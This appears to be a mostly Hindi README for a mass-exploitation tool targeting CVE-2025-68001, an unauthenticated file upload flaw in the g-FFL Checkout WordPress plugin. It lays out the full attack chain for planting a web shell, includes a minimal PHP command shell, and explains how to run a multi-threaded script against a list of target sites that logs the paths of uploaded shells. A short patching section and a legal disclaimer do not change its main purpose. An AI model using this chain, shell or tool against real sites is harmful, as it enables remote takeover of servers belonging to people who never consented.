
WordPress g-FFL Checkout Plugin <= 2.1.0 एक उच्च प्राथमिकता वाले मनमाना फ़ाइल अपलोड के लिए असुरक्षित है।
WordPress g-FFL Checkout प्लगइन <= 2.1.0 उच्च प्राथमिकता वाले Arbitrary File Upload के लिए संवेदनशील है।
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 वक्र से आगे रहें। टेलीग्राम पर @KNxploited से जुड़ें — नवीनतम CVEs, zero-days, और अत्याधुनिक एक्सप्लॉइट रिसर्च का आपका विशेष स्रोत। लगातार अपडेट किया जाता है। सबके लिए नहीं।
CVE-2025-68001 एक महत्वपूर्ण Unauthenticated Arbitrary File Upload कमज़ोरी है जो garidium द्वारा g-FFL Checkout WordPress प्लगइन में पाई गई।
यह कमज़ोरी एक अप्रमाणित दूरस्थ हमलावर को ffl_upload_document AJAX क्रिया के माध्यम से लक्ष्य सर्वर पर मनमानी फ़ाइलें — वेब शेल सहित — अपलोड करने की अनुमति देती है, जिससे पूर्ण Remote Code Execution (RCE) होता है।
एक्सप्लॉइट एक सटीक बहु-चरणीय हमला श्रृंखला का अनुसरण करता है:
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
प्लगइन एक AJAX एंडपॉइंट ffl_upload_document प्रस्तुत करता है जो:
चलाने से पहले सभी निर्भरताएँ स्थापित करें:
pip install requests rich
| निर्भरता | उद्देश्य |
|---|---|
requests | HTTP अनुरोध और सत्र प्रबंधन |
rich | टर्मिनल UI, प्रगति पट्टियाँ, पैनल |
threading | मल्टी-थ्रेडेड लक्ष्य प्रसंस्करण |
Python 3.8+ आवश्यक है।
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
एक list.txt फ़ाइल बनाएँ जिसमें प्रति पंक्ति एक लक्ष्य URL हो:
https://target1.com
https://target2.com
http://target3.com/wordpress
स्क्रिप्ट स्वचालित रूप से
http://जोड़ देती है यदि कोई स्कीम प्रदान नहीं की गई है।
अपना PHP वेब शेल उसी निर्देशिका में रखें। न्यूनतम शेल का उदाहरण:
<?php system($_GET['cmd']); ?>
इसे shell.php (या कोई भी नाम — आपसे इसे दर्ज करने के लिए कहा जाएगा) के रूप में सहेजें।
python CVE-2025-68001.py
आपसे इंटरैक्टिव रूप से पूछा जाएगा:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
सफल एक्सप्लॉइट स्वचालित रूप से success_results.txt में सहेजे जाते हैं:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
प्रत्येक पंक्ति में शामिल हैं:
| संकेत | डिफ़ॉल्ट | विवरण |
|---|---|---|
| लक्ष्य फ़ाइल | list.txt | लक्ष्य URL वाली फ़ाइल |
✔ https://victim.com — /checkout पहुंच योग्य। एक्सप्लॉइट करने का प्रयास...
┌─────────────────────────────────────────────────────┐
│ सफलता │
│ https://victim.com │
│ मूल नाम: shell.php │
│ अद्वितीय नाम: a7f3c1d9e.php │
│ संग्रहीत पथ: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
सभी लक्ष्य संसाधित ✔️। परिणाम success_results.txt में सहेजे गए।
यह कमज़ोरी प्लगइन के AJAX हैंडलर में स्थित है जो क्षमता जांच के बिना पंजीकृत है:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
यदि आप साइट स्वामी या डेवलपर हैं, तो तुरंत निम्नलिखित कदम उठाएँ:
g-ffl-checkout प्लगइन को पैच किए गए संस्करण (> 2.1.0) में अपडेट करें.htaccess नियम).php फ़ाइलों के लिए अपलोड निर्देशिकाओं की निगरानी करेंTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
| हैंडल | Nxploited |
| टेलीग्राम | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 टेलीग्राम पर @KNxploited को फ़ॉलो करें नवीनतम कमज़ोरी प्रकटीकरण, एक्सप्लॉइट रिलीज़, और सुरक्षा अनुसंधान प्राप्त करने के लिए — किसी और से पहले।
| क्षेत्र | विवरण |
|---|
| CVE ID | CVE-2025-68001 |
| प्लगइन | g-FFL Checkout (g-ffl-checkout) |
| प्रभावित संस्करण | n/a through <= 2.1.0 |
| कमज़ोरी का प्रकार | Unrestricted File Upload |
| प्रभाव | Remote Code Execution (RCE) |
| प्रमाणीकरण | आवश्यक नहीं |
| CVSS गंभीरता | गंभीर |
| शोधकर्ता | Nxploited |
| शेल फ़ाइल | shell.php | लक्ष्य पर अपलोड करने के लिए PHP शेल |
| थ्रेड्स की संख्या | 50 | समवर्ती कार्यकर्ता (अधिकतम: 50) |